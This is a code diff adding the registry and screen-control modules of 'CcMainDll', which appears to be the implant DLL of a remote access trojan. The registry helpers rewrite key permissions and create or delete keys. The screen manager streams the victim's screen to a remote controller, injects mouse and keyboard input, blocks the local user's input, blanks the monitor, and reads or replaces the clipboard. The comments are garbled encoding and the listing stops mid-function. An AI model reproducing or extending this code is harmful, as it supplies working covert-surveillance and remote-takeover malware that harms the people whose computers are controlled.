CcMainDll/CcMainDll/common/RegEditEx.cpp
Normal file
@@ -0,0 +1,243 @@
|
||||
#include "..\pch.h"
|
||||
#include <windows.h>
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
||||
13
CcMainDll/CcMainDll/common/RegEditEx.h
Normal file
13
CcMainDll/CcMainDll/common/RegEditEx.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef REGEDITEX_H
|
||||
#define REGEDITEX_H
|
||||
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security);
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode);
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode);
|
||||
#endif
|
||||
381
CcMainDll/CcMainDll/common/ScreenManager.cpp
Normal file
381
CcMainDll/CcMainDll/common/ScreenManager.cpp
Normal file
@@ -0,0 +1,381 @@
|
||||
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#define _WIN32_WINNT 0x0400
|
||||
#include "ScreenManager.h"
|
||||
#include "until.h"
|
||||
#include <WinUser.h> // BlockInput
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
m_bAlgorithm = ALGORITHM_SCAN;
|
||||
m_biBitCount = 8;
|
||||
m_pScreenSpy = new CScreenSpy(8);
|
||||
m_bIsWorking = true;
|
||||
m_bIsBlankScreen = false;
|
||||
m_bIsBlockInput = false;
|
||||
m_bIsCaptureLayer = false;
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsBlankScreen, false);
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
CloseHandle(m_hBlankThread);
|
||||
|
||||
if (m_pScreenSpy)
|
||||
delete m_pScreenSpy;
|
||||
}
|
||||
|
||||
void CScreenManager::ResetScreen(int biBitCount)
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
|
||||
delete m_pScreenSpy;
|
||||
|
||||
if (biBitCount == 3) // 4λ<34>Ҷ<EFBFBD>
|
||||
m_pScreenSpy = new CScreenSpy(4, true);
|
||||
else if (biBitCount == 7) // 8λ<38>Ҷ<EFBFBD>
|
||||
m_pScreenSpy = new CScreenSpy(8, true);
|
||||
else
|
||||
m_pScreenSpy = new CScreenSpy(biBitCount);
|
||||
|
||||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||||
|
||||
m_biBitCount = biBitCount;
|
||||
|
||||
m_bIsWorking = true;
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
// ֪ͨ<CDA8>ں<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѵ<D1B4>WaitForDialogOpen<65><6E><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_RESET:
|
||||
ResetScreen(*(LPBYTE)&lpBuffer[1]);
|
||||
break;
|
||||
case COMMAND_ALGORITHM_RESET:
|
||||
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
|
||||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||||
break;
|
||||
case COMMAND_SCREEN_CTRL_ALT_DEL:
|
||||
::SimulateCtrlAltDel();
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
{
|
||||
// Զ<><D4B6><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD>
|
||||
BlockInput(false);
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
BlockInput(m_bIsBlockInput);
|
||||
}
|
||||
break;
|
||||
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
|
||||
break;
|
||||
case COMMAND_SCREEN_BLANK:
|
||||
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
|
||||
break;
|
||||
case COMMAND_SCREEN_CAPTURE_LAYER:
|
||||
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
|
||||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendLocalClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}catch(...){}
|
||||
}
|
||||
|
||||
void CScreenManager::sendBITMAPINFO()
|
||||
{
|
||||
//CScreenSpy<70><79><EFBFBD>õ<EFBFBD>bmp size
|
||||
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
|
||||
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
lpBuffer[0] = TOKEN_BITMAPINFO;
|
||||
|
||||
// ͼ<><CDBC>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
VirtualFree(lpBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
void CScreenManager::sendFirstScreen()
|
||||
{
|
||||
BOOL bRet = false;
|
||||
LPVOID lpFirstScreen = NULL;
|
||||
|
||||
lpFirstScreen = m_pScreenSpy->getFirstScreen();
|
||||
if (lpFirstScreen == NULL)
|
||||
return;
|
||||
|
||||
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
|
||||
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CScreenManager::sendNextScreen()
|
||||
{
|
||||
LPVOID lpNetScreen = NULL;
|
||||
DWORD dwBytes;
|
||||
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
|
||||
|
||||
if (dwBytes == 0 || !lpNetScreen)
|
||||
return;
|
||||
|
||||
DWORD dwBytesLength = 1 + dwBytes;
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (!lpBuffer)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
|
||||
|
||||
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
pThis->sendBITMAPINFO();
|
||||
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
pThis->WaitForDialogOpen();
|
||||
|
||||
//<2F><><EFBFBD>͵<EFBFBD>һ֡
|
||||
pThis->sendFirstScreen();
|
||||
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
while (pThis->m_bIsWorking)
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->sendNextScreen();
|
||||
}catch(...){};
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ҫ<EFBFBD><D2AA>Ϊ<EFBFBD>˱<EFBFBD><CBB1><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
|
||||
{
|
||||
static bool bIsScreenBlanked = false;
|
||||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||||
while (pThis->IsConnect())
|
||||
{
|
||||
// <20>ӿ췴Ӧ<ECB7B4>ٶ<EFBFBD>
|
||||
for (int i = 0; i < 100; i++)
|
||||
{
|
||||
if (pThis->IsConnect())
|
||||
{
|
||||
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
if (pThis->IsMetricsChange())
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(10);
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (pThis->m_bIsBlankScreen)
|
||||
{
|
||||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
|
||||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
|
||||
bIsScreenBlanked = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (bIsScreenBlanked)
|
||||
{
|
||||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
|
||||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
|
||||
bIsScreenBlanked = false;
|
||||
}
|
||||
}
|
||||
BlockInput(pThis->m_bIsBlockInput);
|
||||
|
||||
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
if (pThis->IsMetricsChange())
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
}
|
||||
|
||||
BlockInput(false);
|
||||
return -1;
|
||||
}
|
||||
|
||||
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
|
||||
{
|
||||
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
if (nSize % sizeof(MSG) != 0)
|
||||
return;
|
||||
|
||||
SwitchInputDesktop();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nCount = nSize / sizeof(MSG);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < nCount; i++)
|
||||
{
|
||||
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
|
||||
switch (pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MOUSEMOVE:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP:
|
||||
{
|
||||
POINT point;
|
||||
point.x = LOWORD(pMsg->lParam);
|
||||
point.y = HIWORD(pMsg->lParam);
|
||||
SetCursorPos(point.x, point.y);
|
||||
SetCapture(WindowFromPoint(point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch(pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
|
||||
if (hglbCopy != NULL) {
|
||||
// Lock the handle and copy the text to the buffer.
|
||||
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
|
||||
memcpy(lptstrCopy, buf, len);
|
||||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||||
SetClipboardData(CF_TEXT, hglbCopy);
|
||||
GlobalFree(hglbCopy);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CScreenManager::SendLocalClipboard()
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
